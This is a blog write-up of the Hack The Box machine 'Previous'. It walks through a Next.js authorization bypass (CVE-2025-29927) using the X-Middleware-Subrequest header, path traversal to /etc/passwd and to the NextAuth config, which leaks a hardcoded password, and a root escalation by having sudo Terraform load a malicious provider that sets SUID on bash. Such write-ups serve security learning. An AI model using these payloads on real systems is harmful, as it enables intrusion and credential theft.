Hackthebox: Previous
Overview
Previous is a medium-difficulty Hack The Box machine that starts with exploiting a vulnerable Next.js application affected by an authorization bypass (CVE-2025-29927), allowing arbitrary file disclosure => extract hardcoded credentials from the NextAuth configuration => SSH => privilege escalation to root by abusing a misconfigured Terraform setup that allows loading a malicious provider binary and granting a SUID root shell.

Reconnaissance
1 | PORT STATE SERVICE VERSION |
We can see we have ssh open and a web application deployed on port 80 reidrecting us to previous.htb that we will add to our /etc/hosts file.
Web Application - http://previous.htb/
As soon as I get into the web app, I run Wappalyzer on it and it successfully identifies nextjs version 15.2.2 which is vulnerable to authorization bypass through CVE-2025-29927 .
On the web app, we have an endpoint that allows us to download typescript source code files: http://previous.htb/api/download?example=hello-world.ts
We will abuse CVE-2025-29927 on it and keep adding the X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware
in order to try and download restricted files which were prior blocked:
1 | root:x:0:0:root:/root:/bin/sh |
And indeed we will get the /etc/passwd file by changing the filename in the request to ../../../../../../etc/passwd.
Next, after checking the next JS docs in order to get the location of auth files
1 | proc/self/cwd => command working dir |
We will inject this file into the url ../../../../../../proc/self/cwd/.next/server/pages/api/auth/[...nextauth].js
And now we get the file containing some credentials:
1 | ;(()=>{var e={};e.id=651,e.ids=[651],e.modules={3480:(e,n,r)=>{e.exports=r(5600)},5600:e=>{e.exports=require("next/dist/compiled/next-server/pages-api.runtime.prod.js")},6435:(e,n)=>{Object.defineProperty(n,"M",{enumerable:!0,get:function(){return function e(n,r){return r in n?n[r]:"then"in n&&"function"==typeof n.then?n.then(n=>e(n,r)):"function"==typeof n&&"default"===r?n:void 0}}})},8667:(e,n)=>{Object.defineProperty(n,"A",{enumerable:!0,get:function(){return r}});var r=function(e){return e.PAGES="PAGES",e.PAGES_API="PAGES_API",e.APP_PAGE="APP_PAGE",e.APP_ROUTE="APP_ROUTE",e.IMAGE="IMAGE",e}({})},9832:(e,n,r)=>{r.r(n),r.d(n,{config:()=>l,default:()=>P,routeModule:()=>A});var t={};r.r(t),r.d(t,{default:()=>p});var a=r(3480),s=r(8667),i=r(6435);let u=require("next-auth/providers/credentials"),o={session:{strategy:"jwt"},providers:[r.n(u)()({name:"Credentials",credentials:{username:{label:"User",type:"username"},password:{label:"Password",type:"password"}},authorize:async e=>e?.username==="jeremy"&&e.password===(process.env.ADMIN_SECRET??"MyNameIsJeremyAndILovePancakes")?{id:"1",name:"Jeremy"}:null})],pages:{signIn:"/signin"},secret:process.env.NEXTAUTH_SECRET},d=require("next-auth"),p=r.n(d)()(o),P=(0,i.M)(t,"default"),l=(0,i.M)(t,"config"),A=new a.PagesAPIRouteModule({definition:{kind:s.A.PAGES_API,page:"/api/auth/[...nextauth]",pathname:"/api/auth/[...nextauth]",bundlePath:"",filename:""},userland:t})}};var n=require("../../../webpack-api-runtime.js");n.C(e);var r=n(n.s=9832);module.exports=r})(); |
jeremy:MyNameIsJeremyAndILovePancakes
This user will get us the user.txt flag after sshing with him.
Privilege Escalation - Terraform abuse
Checking what we can execute with sudo privileges:
1 | jeremy@previous:~$ sudo -l |
Now what we can do is utilize Terraform to load provider binaries from a specified folder and apply them.
We will create a malicious folder with a script inside of it that add the SUID bit to bash, then we can get root and the root flag:
1 | jeremy@previous:~$ sudo /usr/bin/terraform -chdir=/opt/examples apply |
And that was it for Previous, hope you learned something new!
-0xkujen
- Title: Hackthebox: Previous
- Author: Foued SAIDI
- Created at : 2026-01-10 13:14:16
- Updated at : 2026-01-10 12:03:48
- Link: https://kujen5.github.io/2026/01/10/Hackthebox-Previous/
- License: This work is licensed under CC BY-NC-SA 4.0.